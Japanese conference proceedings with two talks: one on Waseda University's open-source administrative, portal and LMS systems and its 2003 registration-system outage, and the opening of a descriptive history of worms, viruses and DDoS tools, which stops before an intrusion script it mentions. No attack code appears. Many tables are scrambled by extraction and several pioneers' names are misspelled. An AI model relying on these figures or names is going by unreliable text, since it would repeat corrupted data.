シ ス テ ム 技 術 分 科 会

選 出2009 年度 システム技術分科会 第 1 回会合 より

早稲田大学における OSS 活用事例

株式会社 早稲田総研インターナショナル

神馬 豊彦

サイエンティフィック・システム研究会
2009 年度システム技術分科会 第 1 回会合資料

2009 年 9 月 8 日

早稲田大学における OSS 活用事例
神馬 豊彦
株式会社早稲田総研インターナショナル[アブストラクト]
早稲田大学では OSS による全学の事務システムの開発を進め、2003 年より本稼動している。運用当初
は人的リソースや開発期間の不足により、一部サービスの停止といった事態を招いたが、開発体制・シス
テムの抜本的見直しにより、現在では安定的に運用している。
その利用範囲は事務システムにとどまらず、認証管理、文書共有、LMS にいたるまで、積極的に取り入れている。
早稲田大学のシステムの現状、OSS の選定理由、OSS を利用してみてわかったことなどについて紹介する。
[キーワード]OSS、LAPP、事務システム、選定理由[講演要旨]
早稲田大学では、2003 年より業務システムの OS、アプリケーション、データベースを含めてすべてをオープンソースで提供している。オープンソースの活用が叫ばれるようになってから 10 年ほど経つが、開発
当初は、情報も、経験を持ったエンジニアもまだまだ少なかった。しかしながら、シンプルな開発言語やデータベースは開発効率が高く、多少の不具合はあったものの、システムの開発は効率的に進めることができた。
しかしながら、学内のすべての業務システムの開発に加え、学生や教員が Web から手続きできるワンス
トップサービスを目的とした仕組みは、大規模な Web システムの開発経験の不足や体制の問題から、稼働当初は大量アクセスによるシステム停止という事態を招いてしまった。
このことを教訓に開発体制、関連会社・協力会社と協力した開発標準の策定、標準パターンを整備する
ことにより、当初の開発範囲であった業務システムに加え、学生や教職員を直接的に支援するための仕組みである、教育支援のための LMS、研究支援のための仕組みに至るまで、オープンソースソフトウェアを活用して開発している。
一般にはオープンソースソフトウェアを利用した業務システムの構築事例はまだまだ少ない。しかしながら、利用にあたって多少は気をつけなければならない点もあるものの、それは他のどのようなソフトウェアでも同じであり、オープンソースソフトウェアといえども開発・運用体制の整備、開発手順の標準化等を進める
ことにより、十分に業務システムの開発に耐えることができると考えている。

自己紹介
1995年 3月 早稲田大学人間科学部人間健康科学科卒業
1995年 4月 学校法人早稲田大学専任職員
1995年 6月 学校法人早稲田大学情報システムセンター配属（主に教学システムの開発・運用・保守）
2005年 6月 株式会社早稲田総研出向（情報事業部）（大学総合プロトタイプシステムJayaの開発）
2007年 8月 株式会社早稲田総研インターナショナル（社名変更）
2007年10月 〃 国際事業部兼新規事業部
早稲田ドットネットプロジェクトリーダー（QuonNetの開発）
2008年 1月 〃 QuonNet事業部次長
2009年 2月 〃 情報事業本部コンテンツ企画チームリーダー兼
QuonNetプロジェクト室長兼連携事業本部
2009年 7月 〃 取締役（QuonNetプロジェクト担当）

早稲田大学におけるOSS活用事例
株式会社早稲田総研インターナショナル
神 馬 豊 彦2

１．早稲田大学FACT

1-1．学生数・教員数
2008年3月現在

1-1．学生数・教員数
1-2．学部生数
1-3．大学院生数
1-4．専門職大学院、その他学校学生・生徒数
1-5．専任教員・非常勤講師数
1-6．早稲田大学ネットワーク概略図
1-7．利用目的別端末台数
1-8．ポータル利用状況
1-9．LMS利用状況

学生

人数

学部

45,192

修士課程

4,647

博士課程

2,007

専門学校

372

高等学校

2,778

別科

186

教員

6,219

専任教員

2121
4098

非常勤教員

537,972

校友会員
3

41-2．学部生数

1-3．大学院学生数
2008年3月現在

学部名

現在員数

男性

2008年3月現在

女性

研究科名

修士課程
現在員数

博士課程

男性

女性

現在員数

男性

女性

政治経済学部

4,579

3,458

1,121

法学部

3,784

2,671

1,113

政治学研究科

150

104

46

97

75

第一文学部

2,862

1,428

1,434

経済学研究科

60

46

14

58

44

第二文学部

1,589

856

733

法学研究科

119

68

51

143

91

52

文化構想学部

1,881

855

1,026

文学研究科

376

186

190

396

221

175

文学部

1,524

710

814

商学研究科

102

56

46

79

58

21

教育学部

5,170

3,188

1,982

理工学研究科

53

49

4

140

124

16

商学部

4,618

3,436

1,182

基幹理工学研究科

543

511

32

42

41

694

601

93

44

39

5

22
14

1

理工学部

3,911

3,468

443

創造理工学研究科

基幹理工学部

1,151

1,023

128

先進理工学研究科

849

733

116

95

81

14

教育学研究科

188

88

100

148

74

74

人間科学研究科

202

87

115

106

53

53

社会科学研究科

105

69

36

94

67

27

アジア太平洋研究科（国際関係学専攻）

257

109

148

174

116

58

国際情報通信研究科

247

165

82

87

68

19

日本語教育研究科

108

18

90

59

12

47

情報生産システム研究科

340

259

81

129

105

24

41

28

13

創造理工学部

1,292

先進理工学部

1,123

908

社会科学部

3,224

1,085
2,395

207
829

人間科学部

2,838

1,636

1,202

215

人間科学部(通信教育課程)

809

359

450

スポーツ科学部

1,982

1,394

588

国際教養学部

2,855

1,100

1,755

計

45,192

29,97015,222

公共経営研究科

5

スポーツ科学研究科

178

134

44

60

42

環境エネルギー研究科

76

68

8

15

14

1

4,647

3,351

1,296

2,007

1,353

654

計

18

6

1-4．専門職大学院・その他学校学生

1-5．専任教員・非常勤講師数

2008年3月現在

現在員数

男性

女性

アジア太平洋研究科(国際経営学専攻)

研究科名

72

48

24

公共経営研究科

100

68

32

法務研究科

818

465

353

ファイナンス研究科

355

289

66

会計研究科

231

197

34

商学研究科
（ビジネス専攻）
教職研究科
計

322

246

学校名

2008年3月現在– 専任教員は、専任（教授、特任教授、助教授、専任講師、教諭、外国人講師、助手）と専任扱い（客員教授、客員助教授、客員講師、客員研究助手）の計

現在員数

男性

女性

芸術学校

303

196

107

川口芸術学校

69

42

27

1,865

1,865

0

913

722

191

186

66

120

3,336

2,891

445

高等学院
本庄高等学院別科日本語専修課程
計- 数値欄の下段は専任教員のうちの助手 （客員研究助手は含まない）内数– 非常勤は、客員教授、客員助教授、客員講師、講師の計

57

34

23

1,347

608

1996

1997

1998

1999

2000

2001

2002

2003

2004

2005

2006

2007

2008

1,387

1,441

1,477

1,517

1,541

1,597

1,594

1,618

1,788

1,903

1,993

2,028

2,038

2,121

221

241

255

276

291

297

303

294

321

337

346

359

338

322

非常勤

2,286

2,400

2,476

2,572

2,613

2,796

2,957

3,059

3,158

3,342

3,492

3,264

3,846

4,098

合 計

3,673

3,841

3,953

4,089

4,154

4,393

4,551

4,677

4,946

5,245

5,487

5,292

5,884

6,219

専任教員

76

1,955

1995

7

8

1-6．早稲田大学ネットワーク概略図

1-7．利用目的別端末台数

2009年4月現在

教員用

学生用

WINE端末

事務用

研究室用

合計

1,624

3,249

409

1,387

12,874

19,543

2001

1,624

3,509

417

1,428

13,28920,267

2002

1,624

3,604

421

1,498

15,382

22,529

2003

1,624

3,715

480

1,580

15,882

23,281

北九州キャンパス 開設
川口芸術学校 開設

2004

1,624

3,806

513

1,655

16,082

23,680

本庄リサーチパーク 開設
日本橋キャンパス 開設
国際教養学部端末室 設置
法務研究科端末室 設置

2005

1,660

3,914

523

1,701

16,101

23,899

８号館竣工

2006

1,630

3,978

526

1,752

16,11524,001

２６号館竣工

2007

1,630

3,934

526

1,853

16,12924,072

2008

1,630

3,974

523

1,977

16,80424,9089

1-8．ポータル利用状況

主な学部共通端末室
整備状況

年度

2000

新学生会館竣工

10

1-9．LMS利用状況

1112

2-1．システム化の歩み

２．早稲田大学の情報化への取り組み
2-1．システム化の歩み
2-2．システムの概要
2-3．OSS選定の理由
2-4．システム基本構成図
2-5．ポータル機能構成図
2-6．認証と文書管理
2-7．文書共有・公開機能
2-8．システム機能構成図
2-9．LMSシステム基本構成図
2-10．LMSシステム機能構成図

年
1967年～

システム

組織名

備考

外部への委託処理

1982年4月

教務事務システム開発準備室

開発検討開始1984年2月

1次システム(第I期)稼動(学籍・科目登録・成績)

事務システム開発室

ホストコンピュータ
TSS、漢字(日本語)、RDB、学内兼務者
科目登録処理遅延

1986年2月

1次システム(第II期)稼動(学費・就職・
学生健保・入試)

事務システム開発課

開発標準技法(WISDOM)発表(1985年)

1987年3月
1988年
1990年

奨学金が遅れて稼動
人事システム稼動
財務システム稼動

事務システムセンター

1994年3月

OWS(オフィスワークシステム)稼動

1997年4月
6月

2次システム稼動(入試以外)
自動証明書発行機稼動

メディアネットワークセンター

クライアント／サーバ(Oracle)
データベース分散

2003年4月

次世代システム稼動

情報企画課
メディアネットワークセンター

オープンソースソフトウェアの採用
Linux, PostgreSQL, Apache, php
Ms-Accessを業務担当者がカスタマイズ
データベース集中

情報システムセンター

GENESIS「システム分析マニュアル発刊(1991年)
グループウェア
情報化推進プログラム(1997-2005)策定

13

2-2．システムの概要

142-3．OSS選択の理由– 業務システムの約９割をOSS（オープンソースソフト
業務システムの約９割をOSS（オープンソースソフトウェア） にて構築– LAPP＋
LAPP＋Microsoft Accessによるシステム構成
Accessによるシステム構成

1. 大学事務システム公開とその普及を推進するための基盤としてLinux + Apache + php + PostgreSQLによる
Web機能
機能
PostgreSQLによるWeb
Microsoft Accessによる業務処理システムは学部で教務
Accessによる業務処理システムは学部で教務事務を担当する職員が作成⇒業務担当者のカスタマイズを可能とし、制度改正にも柔軟に対応– WasedaWaseda-netポータルを基盤とした学生・教職員共netポータルを基盤とした学生・教職員共通のプラットフォームを構築• 単に配付されたシステムを利用するのではなく、業務分析やMSAccessを使った開発作業に参加することで、人材・組織の活性化が実現
2. 先進的技術の導入と多様なサービスを実現するミドルウェアとして• 基幹システムの持つ様々な情報と連動したWebサービスの実現– PostgreSQL+Apache+PHP• 人事情報、学籍情報と連動した利用者管理システムの構築– PostgreSQL+Open LDAP+Active Directory
3. 限られたコストでの情報化推進と大学改革実現のために• 実績と経験に基づき技術を横に展開• 新たな投資に予算分配

15

2-4．システム基本構成図

162-5．ポータル機能構成図

Waseda-netサービスイメージ
Web Servers

Apache

学生・教職員サービスの利用php
Web applications

自宅

大学

AP Servers

DB Servers

ApachePostgreSQL■Waseda-netメール
z インターネットメールサービスz 大学関係者全員へアカウントを発行
z 校友への生涯メールアドレス
発行

業務担当者

php
Web applications業務処理

Database

参照・更新

参照・更新
Content Servers

File Servers

NamazuSamba

Waseda-net Portal

参照
ファイル共有Waseda-net Portal

content
LDAP

認証連携

文書公開

document

プロトタイプMS-Access■Waseda-netコンテンツz コンテンツ掲載のための汎用ツールを準備z 広報だけではなく情報収集ツール（アンケート）も準備
z 事務所機能の中継業務削減に利用■Waseda-netポータルz One Stopサービス、シングルサイ
ンオンによるサービス実現
z 大学関係者の共通プラットフォー
ムとして情報を集約■Waseda-netファイルズz 全学的な文書共有を実現
z 事務文書はFW内のセキュアな環境で管理
z ［公開フォルダ］のポータル連動機能により文書を公開■Waseda-netアプリ
z 大学事務システム各DBと連動するアプリケーション機能
z 業務メニュー、サービスメニューとデータベースを結び「利用者による直接的な情報操作」を実現

学生・教職員への直接的なコンピュータサービスの利用充実化と大学業務の効率化促進をコンセプトにポータルサイトを構築

Active Directory

1718

2-7．文書共有・公開機能

2-6．認証と文書管理
ポータルシステム

Samba＋Open LDAPを利用した文書共有・公開機能

LDAPサーバ （OpenLDAP）

ユーザ追加・削除

データ複製（レプリケーション）

ファイルサーバ （Samba + OpenLDAP）

業務用DBサーバ （PostgreSQL）

更新専用
LDAPサーバ

ファイルサーバ （Samba）

グループ追加・削除
データ検索用
ファイル転送グループ管理WebAPサーバ

公開用共有
ファイル転送

全文検索用Webサーバ （Namazu）

参照専用
LDAPサーバ

コンテンツ配信用Webサーバ

索引（index）転送
索引（index）作成

文書共有

索引（index）作成

グループ追加・削除

Windowsクライアント

コンテンツ検索コンテンツ取得

Windowsクライアント

19

2-8．システム機能構成図

202-9．LMSシステム基本構成図

教育・研究、コミュニティ支援サービスと基幹業務システムが連携
基幹業務システムを中心にOSSでシステムを構築
Webサーバ群

コンテンツDB(PostgreSQL)
クラスタ

認証DB
(PostgreSQL)

ファイルサーバ

クラスタ

SAN

共用ディスク装置

212-10．LMSシステム機能構成図

22

３．OSSを利用してみて・・・
3-1．Web履修申請システム失敗
3-2．失敗の原因と対策
3-3．PHPの特徴と注意点
3-4．PHPの保守性の担保
3-5．PostgreSQLの特徴と注意点
3-6．VACUUM
3-7．データレプリケーション
3-8．OSSによる大規模システム開発
23

24

3-1．Web履修申請システム失敗

3-2．失敗の原因と対策

2003年3月
3/20AM0時頃

トラブル１解決
3/22AM1時頃

3/20PM0時

3/22AM9時頃

3/25AM11時頃

対策
インデックスを利用できない
SQL文を修正・ 毎日コンピュータルームに通ってくる学生
・ 新聞報道・ 動かないコンピュータ

具体的な対策の内容

性能要件の再設定

実績値と待ち行列理論から目標値を設定

3/27AM5時頃

負荷テストが不足していた

徹底した負荷テストの実施

76回の負荷テストを実施

１台のPCから多重リクエストが可能であった

多重リクエストの抑止

JavaScriptによるブラウザボタンの操作抑制、
アンカータグの廃止

サーバの設定が最適化されていな
かった

サーバ設定の最適化

WebサーバからのDB接続方法の見直し（逐次→永続的接続に）、各サーバ起動プロセス
数最適化（Web・DB）

性能への配慮が不足したサーバーア
プリケーション

サーバーアプリケーションのチューニング

MVCモデルで再構築、コストの高いSQL文の見直し、PostgreSQLのバージョンアップ、最適な統計情報の採用

サーバーの処理能力を超えるリクエス
トが殺到したサーバー・リソースの増強

DBサーバーを参照用と更新用に分割、サーバーのスケールアウト

利用者が一定時間に集中した

利用者集中を回避

学部ごとに利用日程を分散、利用の多い時
間帯は学籍番号末尾による利用制限を実施

3/27AM11時頃

3/23PM17時頃

3/28AM1時頃
トラブル２
履修科目申請システムが遅い対策

性能要件の定義が甘かった

申請期間開始トラブル１「Waseda-netポータル」にログインできない

原因

トラブル３解決

トラブル３
履修科目申請システムが
応答しない

対策
・Webサーバの追加
・Web・DBサーバの設定を変更
・一時的に利用するファイルをメモリ上に持つよう変更

対策
・負荷分散装置のファームウェア
バージョンアップ
・負荷分散装置の設定変更

対策
・Webサーバのタイムアウト時間
延長
・DBの最適化（VACUUM）

対策
・スループット悪化の調査
・DB接続方式の変更
・Web・DBサーバ設定変更

スループット改善
トラブル２解決

3/28 AM5時
相次ぐトラブルに
より利用中止OSSに起因する原因ではない！
25

26

3-3．PHPの特徴と注意点

3-4．PHPの保守性の担保

特徴

アプリケーションの開発標準の策定

HTML埋め込み型の言語文法がシンプルで覚えやすい
パフォーマンスはコンパイル型に劣らない漢字などのマルチバイトを標準サポート

画面標準パターン
コーディングルール
ネーミングルール
サンプルプログラム

注意点
複雑なコードは可読性/保守性が著しく低下する→開発を効率化するとともに、保守性を高める。
27

28

3-5．PostgreSQLの特徴と注意点

3-6．VACUUM

特徴

PostgreSQL では、
DELETE された行は実際に削除されず、削除フラグ
を立て論理的に削除。UPDATE は、更新する行をINSERT してから、更新前の行を論理的に削除。
VACUUMコマンドにより、データベースの不要領域の掃除と統計情報を生成（運用中に実行可能）。
→定期的な実行が必要。
VACUUM処理時はデータベースの処理速度に影響があるため、バックアップとともに、利用者の少ない
深夜にスケジューリング。

基幹システムのデータベースとして必要十分な機能（トランザクション・ストアドプロシージャ・マルチバイト）
Open-LDAPによるユーザ管理と連動した権限管理

注意点
VACUUMの必要性（データベースの不要領域の掃除と統計情報の生成）
用途別にDBサーバを用意し、同期する場合、データ
レプリケーションの必要性
2930

3-7．データレプリケーション
DMZ1

3-8．OSSによる大規模システム開発
1. 性能要件を満たすためのアプローチ

DMZ3

公開用DB（クラスタ）（○○info等）

認証DB（クラスタ）

科目登録参照DB

科目登録更新DB/Backup

成績照会DB

研究者Web/DB

公開DB

認証DB

科目登録参照DB

科目登録更新DB

成績照会DB

研究者DB

授業評価参照DB

授業評価更新DB

シラバスDB・応答時間改善をプロジェクトの全員が意識（設計～開発）
・運用の工夫（安全策）

2. スケールアウトによる冗長構成
・複数サーバ構成でリスクを分散

3. 入念な事前テスト

授業支援DB

・機能評価、性能評価、実証実験を繰り返し実施
・本番運用を想定したシミュレーション（テストシナリオ検討）

業務
学籍履修DB

学生生活DB

募金校友DB

卒業生DB

人事DB

財務DB

学籍履修DB

学生生活DB

募金校友DB

卒業生DB

人事DB

財務DB

学籍
科目
成績
シラバス
授業評価

学費
奨学金
キャリア
学生健保
学生健康管理

募金
校友

卒業生

人事

財務

4. 運用におけるケアレスミス防止・チェックシート、手順書、Wチェックなど基本事項の徹底

5. プロジェクト体制
・ユーザ／ベンダー一体となった開発推進体制
31

４．OSSによる大学総合プロトタイプ
4-1．Jayaの特徴
4-2．Jayaの適用範囲
4-3．Jaya処理一覧（１）4-4．Jaya処理一覧（２）4-5．Jaya処理一覧（３）4-6．Jaya処理一覧（４）4-7．Jaya処理一覧（５）4-8．豊富な授業支援機能
4-9．Jayaの導入手順（従来型との違い）
4-10．その他の関連サービス

4-1．Jayaの特徴
JayaはWISDOM（※）に基づき設計・開発された大学総合プロトタイプシステムです。
※WISDOMはシステムの企画立案から分析・構築・運用・保守・改善のための方法論です。

教学業務、法人業務に加え、授業支援の機能も業務系のシステムと連動した仕組みとして提供可能です。
学生、教員、職員および学生保証人、受験生など
各個人が利用者IDをもって利用します。
33

4-2．Jayaの適用範囲
授業支援
ＬＭＳ＋ＣＭＳ

校友会

法人系
法人系
人事

履修・成績

学費

学籍

学生健康

入試

財務

ポータル 認証 利用者管理 メニュー管理
お知らせ スケジュール等
Ｗｅｂベース

志願者

父母

学生

ＭＳ－ＡＣＣＥＳＳベース

卒業生

教員

入試業務

学籍業務

履修業務

AA01入試要項作成
AA02志願受付
AA03試験準備
AA04センター試験
AA05採点登録
AA06成績処理
AA62成績統計リスト作成
AA07合否判定
AA71合否判定資料作成
AA08合格者発表
AA09入試統計

AB01入学手続き
AB02新入生登録
AB03学生証発行
AB04基本情報変更
AB05異動申請
AB06異動申請（一括)AB07異動申請承認
AB08学生統計

AC01カリキュラム検討
AC02時間割作成
AC03授業準備
AC04履修登録準備
AC05コース決定
AC06事前登録
AC07履修登録
AC08授業実施
AC09採点実施
AC10採点簿登録
AC11科目認定
AC12卒業（進級）判定
AC13資格条件登録
AC14資格申請
AC15資格取得判定
AC16成績発表
AC17追・再試験実施

研究業績

教学系
教学系

キャリア支援34

4-3．Jaya処理一覧（１）

学生生活系
学生生活系
奨学金

32

職員
35

36

4-4．Jaya処理一覧（２）
証明書発行業務

FD01 調達FD02 稟議決裁
FD03 発注・検収
FD04 支払請求
FD06 研究費等使用状況照会
FD07 日報作成
FE01 支払先登録
FE02 支払計画
FE03 支払処理
FE04 支払明細照会
FE05 支払日程設定
FF01 実績集計
FF02 決算入力
FF03 決算処理
FF04 部門別決算

FA01 予算申請
FA02 予算査定
FA03 内示
FA04 予算決定
FA05 予算内訳作成
FA06 予算調整
FA07 決算予想
FB01 入金予定
FB02 入金入力
FB03 残高照合
FB04 入金確定
FB05 入金訂正
FB06 未収・前受処理

AD11証明書基本情報登録 BB01企業基本情報登録 CA01卒業生登録
CA02校友会員申請
AD12各種証明書発行管理 BB02進路希望調査
BB03就職活動情報交換 CA03校友会員名簿作成
AD04学割証発行
BB04内定報告
奨学金業務
BB05統計
BA01奨学金制度登録
BA02奨学金申請登録
BA03奨学金選考
BA04奨学金採用
BA05奨学金異動
BA06奨学金継続
BA07奨学金交付
BA08返還請求情報作成
BA09返還請求
BA10返還収納BA11本勘定振替
BA12督促4-5．Jaya処理一覧（３）

財務

校友業務

キャリア支援業務

健康業務
BC01検査基準値登録
BC02健康診断実施
BC03健康診断結果通知
BC04再検査・精密検査
BC05診療所・保健室

FG01 資産登録（動産）FG02 資産異動
FG03 減価償却計算（動産）FG04 各種帳票等作成（動産）FG05 資産突合37

38

4-6．Jaya処理一覧（４）4-7．Jaya処理一覧（５）

学費

人事給与

FC01 学費基準登録
FC02 学費計算
FC03 学費免除
FC04 学費請求
FC05 学費収納
FC06 学費本勘定振替
FC07 学費統計
FC08 学費証明書発行
FC09 検定料請求
FC10 検定料収納
FC11 学費手続料請求
FC12 学費収納更新
FC13 学費手続料学部振替処理

EA01 採用手続
EA02 異動手続
EA03 休職手続
EA04 退職手続
EA05 教職員情報更新
EA06 人事通知
EB01 賃金規定更新
EC01 教員勤務給改定
EC02 講師給改定
EC03 協定控除改定
EC04 賃金定時改定
EC05 社会保険料改定
EC06 住民税の改定
EC07 帳票提出
ED01 給与計算
ED02 賞与計算

EG01 年末調整
EJ01 賃金明細閲覧
EK01 人事通知

3940

4-8．豊富な授業支援機能機能

4-9．Jayaの導入手順（従来型との違い）

内容

お知らせ

学生に対し本システム上での表示、およびE
メールでお知らせを送る

小テスト

択一、選択、記述式などで小テストが作成でき、自動採点も可能レポート

課題を付与し、本システム上でレポートの提出〜受付、採点が可能

ディスカッションボード

テーマにそって履修生間での議論、教員からのコメントをのせる

参考資料

授業で利用した資料をアップロードし、復習に
利用する

出席管理

出席状況を登録可能

採点機能

評価あるいは素点で成績を登録でき、評価毎の割合等も確認可能

ベンダ
ベンダ

従
来
型

要求
仕様

提案書

見積
依頼

提案内容
検討

設計書

カスタマイズ

業者
決定

仕様確認
～評価

システム

システム
移行

大学
大学
学内要望
まとめ

業務手順
検討

運用
開始

運用テスト
～移行

運用
開始

大学
大学

システム分析
Ｗ
Ｉ
Ｓ
Ｄ
Ｏ
Ｍ
型

改善案

システム構築大学の方針

業務処理モデル等(Jaya)

プロトタイプ(Jaya)
ＷＩＳＤＯＭ（開発手法）

41

WISDOM/Jaya普及企業
WISDOM/Jaya普及企業

42

4-10．その他の関連サービス

最後にJaya導入時の業務分析でも使用する本手法は、単に「問題解決型」の手法ではなく、現在よりさらによい状態を作り出すことにより、業務改革、組織改革
さらには経営改革に資するものとして体系化されています。
プロジェクト型職員育成のための研修・実践ツールとしてご静聴ありがとうございました。
内容についての問い合わせは、下記までお願いいたします。

■プロジェクト企画立案■プロジェクトマネジメントなどにご利用いただけます。
※参考図書

toyo@waseda.jp
大学は「プロジェクト」でこんなに変わる
WISDOM＠早稲田著

43

44

シ ス テ ム 技 術 分 科 会

選 出2009 年度 システム技術分科会 第 2 回会合 より

情報セキュリティの課題と対応策

マイクロソフト株式会社
高橋 正和

サイエンティフィック・システム研究会
2009年度 システム技術分科会 第２回会合

2010年1月20日

情報セキュリティの課題と対応策
高橋 正和
マイクロソフト株式会社[アブストラクト]
情報セキュリティは，実際に起きた事件や攻撃手法の変化に伴って発展しており，時代と共に変化してきた．本稿では，情報セキュ
リティに関する事件と対策の推移から，情報セキュリティに対する認識の変化や，攻撃の発展の過程を分析し，情報セキュリティが，今取り組むべき課題を解説する．また，これらの課題について，最新のＯＳが，昨今の攻撃手法に対して，どのような取り組みが行われているのかを紹介する．
[キーワード]不正アクセス，マルウエア，ＯＳ

1. はじめに2004 年 4 月の Sasser ワームを最後に，大規模なウイルス感染は発生していないが，フィッシングやスパイウェアによる金銭的な被害の報道が増えている．
例えばフィッシングは国際的な犯罪組織と関係し[1]，年間 24億ドル[2] (約 2 兆 9 千億円)もの被害を与えており，このような犯罪行為を支えるための基盤として，ボットネットが利用されているといわれている[3]．
Telecom-ISAC Japan および JPCERT/CC の調査結果「フィールド調査によるボットネットの挙動解析」[4]によれば，ボット
ネットは，DDoS 攻撃a)，情報の収集，スパムメールの送信などの機能を効果的に実施出来るとされており，ボットネットが犯罪行為を支える基盤として利用される理由と考えられる．
一方で，このような機能を備えたウイルスは過去にも存在していたが，大規模な犯罪行為の基盤としては考えられていなかった．従来は，多数の感染ノードが単独で存在するモデルであり，特定の感染ノードに対する操作が可能であっても，多数の感染ノードを一括して制御する機構が存在しなかった．これに対し，ボットネットは，感染ノード群を有機的に結合し，分散システムとして一括して制御する機構を実装している．この点に，ボットネットの本質的な脅威がある．
本稿では，まず過去のウイルスやワームがどのように基本要素を実装していったかを調査し，各基本要素がウイルスに組み込まれた経緯と目的を考察する．また，基本要素を持ったウイルスの例として，DDoS ツールである TFN と，メール型ウイル
スの Sobig を取り上げ，技術的な問題点について分析する．
次に，ボットネットが，Sobig 等の技術的な問題点をどのように解決しているのかについて考察を行い，ボットネットがもた
らした，本質的な脅威の変化について分析する．
最後に，これらの分析の結果，これまでのセキュリティ対策のアプローチの問題点を取り上げ，最新のオペレーティングシ
ステムが，これらの問題に対して，行っている対策について解説する．

2. マルウエア（広義のウイルス）の推移
ウイルスやワームに代表される，悪意を持ったプログラム（以下，マルウエア）の歴史についてまとめた資料はあまりな
い．ここでは，数尐ない資料のひとつとして著者らが執筆した「有害プログラム-その分類」[5]を中心に，海外の文献の調査結果を加えて，マルウエアの歴史を振り返る．
2.1 ウイルス・ワームという名称について
コンピュータウイルスという呼び名は，1984 年に Feed Cohena) DoS 攻撃:Denial of Service Attack, サービス不能攻撃 とも呼ばれるが発表した論文が最初といわれており，他のプログラムに寄生して広がっていくことを基本的な概念として定義している．
現在，一般にウイルスと呼ばれているプログラムは，電子メー
ルを媒体として利用することが多い．電子メールや文章などのドキュメントファイルに寄生するものも，ウイルスと呼ぶことが出来る．
一方，ワームという名前の由来は，1975 年に公表された John
Brunner の SF 小説 “The Shockwave Rider”に登場する Tapeworm に由来する．ワームは，独立したプログラムであり，コン
ピュータウイルスのように他のプログラムに寄生しない点が，ウイルスとは異なっている．
2.2 ワームの原型
1982 年 に 公 表 さ れ た ， John Scoch 等 の 文 献 ”The “Worm”
Programs – Early Experience with a Distributed Computation”[6]に，ネットワークで有用な機能を果たす自動化された分散型プログラムという概念で，ワームが述べられており，試作したワームプログラムについての分析が行われている．
試作したプログラムのひとつである Blob は，夜間にリソースに余裕のあるコンピュータを探し出して利用し，朝になると処理を終了するというものであった．Blob は，夜間に活動することから Vampire(バンパイア)とも呼ばれた．
Blob を使った実験では，誤動作（バグ）により，すべてのコンピュータがクラッシュするという事故が発生した．この事故
では，システムをリブートしても，すぐに Blob がシステムリ
ソースを奪取してしまい，なかなか復旧作業を行う事が出来な
かったという．Scoch 等は，これらの経験から，ワーム作成上の重要な問題は，ワームの制御である（”Key problem: Controlling aWorm”）と述べている．
文献[6]では，あわせて，インターネットの前身である Arpanet
におけるワームプログラムの歴史が取り上げられており，自らコンピュータ間を移動するプログラムとして，Arpanet のルー
ティングプログラムである IMP や，1971 年に B.Tomas によって開発された Creeper(クリーパー)が紹介されている．Creeper は，
自己複製機能がなかったが，R.Tomlison が自己複製機能を追加
し，ワームとして動作させた．なお，R.Tomlison は，Creeper を探し出して削除する Reaper という，現在のアンチウイルスソフ
トに相当するツールも作成している．
2.3 実在のウイルス（Virus in the wild）
最初の実在のウイルス(Virus in the wild）は，1981 年に発見された， Apple II に 感染する Elk Cloner といわれている．Elk
Cloner が入っているフロッピーディスクをコンピュータに挿入すると，Elk Clonner はメモリ中で活動し，他のフロッピーディ
スクが挿入されると，そのフロッピーに感染した．Elk Clonner
は，フロッピーが 50 回挿入されると，表示画面を消去し，メッ
セージ（詩）を表示した．

このプログラムは，Rich Skrenta が作成したといわれている．
Rich Skrenta は，いたずらを目的としたプログラムを作成して友人に配っていたが，自分のプログラムを使ってくれる友人がいなくなったことから，フロッピーディスクに感染する自己増殖
プログラム（クローン型プログラム）を書くことを思いつき，
Elk Clonner を書いたと言われている[7]．
ワームの源流が，ネットワークコンピューターの分散処理の研究であるのに対して，ウイルスの源流がいたずらにある点は興味深いものがある．
IBM-PC に感染するウイルスとしては，1986 年の パキスタ
ン・ブレインウイルス が最初といわれている．こウイルスはフロッピーディスクのブートセクタに感染し，「ウイルスに注意（Beware of the VIRUS….”）」というメッセージと，連絡先として BRAIN COMPUTER SERVICES”社の社名，住所，連絡先等を表示するもので，自社ソフトの不正コピー対策であったと言われている．パキスタン・ブレインウイルスは，IBM-PC 上の最初のウイルスであると同時に，現在アドウェアの源流とも言えるプログラムである．
2.4 電子メールを感染媒体としたウイルス
初期のウイルスは，フロッピーディスクなどのメディアを経由して感染を広げたが，1987 年の CHRISTMA exe ワームは，IBM の社内ネットワークおよび，BITNET 上の電子メールを媒体として感染を広げた．このワームは，クリスマスツリーを画面上に表示するプログラムを電子メールに添付して送信するもので，プログラムが実行されると，アドレス帳に登録されているすべての人に，このメールを転送するというものであった．
電子メールを使ったウイルスとしては，インターネットが普及し始めた 1999 年の Melissa が有名であり，IBM PC 上の最初のメール型ウイルスと考えられる事が多い．しかし，1997 年に一部のアンチウイルスベンダーから ShareFun という電子メールを媒体としたウイルスが報告されている[8]．
いずれにしても，Melissa は，ウイルスがインターネット時代に移行したことを示し，ウイルス対策をはじめとした，ネット
ワークセキュリティに大きな影響を与えた．
2.5 インターネットワーム（モリスワーム）
インターネット上で活動するワームとしては，1988 年のイン
ターネットワーム(モリスワーム)が最初のものと考えられる．このワームは単に感染を繰り返すものであったが，当時インター
ネットに接続されていたコンピュータの 10%(6000 台)に直接的な被害を与えた事に加え，被害を恐れてインターネットからコンピュータを切り離したサイトも多かった事から，結果として，極めて大規模な DoS 攻撃となり，インターネットを大きな混乱に陥れた．
この混乱を契機に，大規模なインシデントに対応することを目的として，カーネギーメロン大学に CERT が設立される契機となった[9]．
2.6 DDoS ツール
モリスワームは，結果として DoS 攻撃を行ったが，1999 年にDoS(DDoS)を目的としたプログラム（以下 DDoS ツール）が話題になった．
Dave Dittrich の文献[10]によれば，最初の DDoS ツールは 1998
年の，fapi および fuck_them というツールあり，1999 年 8 月 17日にミネソタ大学に対して DDoS ツールを使った最初の攻撃行
われた．
DDoS ツールは，1999 年 11 月に CERT が開催した DSIT (theDistributed System Intruder Tools Workshop[11])によって，一般に知られるようになり，その直後の 1999 年 12 月末には FBI から，
DDoS ツールを検出するプログラムがリリースされている[12]．
DSIT が開催された背景には，Solaris RPC サービスの脆弱性を利用した侵入行為が多数見つかっていること（CERT Incident
Note 99-04[13]/99-05[14]），この侵入行為が行われたサイトで，多数の trinoo および TFN(the Tribe Flood Network)と呼ばれる
DDoS ツールが見つかったことにある(CERT Incident Note 99-

07[15])．trinoo は，スクリプト（リスト 1）を使った侵入が行われており，短時間に大量の侵入が可能である事から，DDoS ツー
ルの更なる拡散と，DDoS 攻撃による被害に対する大きな危機感があった．
